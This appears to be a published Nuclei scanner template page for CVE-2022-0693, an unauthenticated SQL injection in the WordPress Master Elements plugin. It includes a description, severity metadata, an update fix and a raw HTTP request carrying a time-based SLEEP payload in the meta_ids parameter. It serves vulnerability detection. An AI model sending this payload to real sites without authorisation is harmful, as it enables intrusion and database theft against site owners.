WordPress Master Elements <=8.0 - SQL Injection

ID: CVE-2022-0693

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve2022,cve,unauth,wpscan,wp-plugin,wp,sqli,wordpress,master-elements,devbunch

Description

WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-0693

info:
  name: WordPress Master Elements <=8.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a72bf075-fd4b-4aa5-b4a4-5f62a0620643
    - https://wordpress.org/plugins/master-elements
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0693
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0693
    cwe-id: CWE-89
    epss-score: 0.02367
    epss-percentile: 0.89814
    cpe: cpe:2.3:a:devbunch:master_elements:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: devbunch
    product: master_elements
    framework: wordpress
  tags: time-based-sqli,cve2022,cve,unauth,wpscan,wp-plugin,wp,sqli,wordpress,master-elements,devbunch

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Post Meta Setting Deleted Successfully")'
        condition: and
# digest: 4b0a004830460221008ce82d1a069a6412b1edded7ef53c1a8986dc6963bb94b8e6f10acd242a8f651022100dd4022dae1e6d305977718395f1f8e6b29a5d64a925bc56b39f464216c504225:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0693.yaml"

View on Github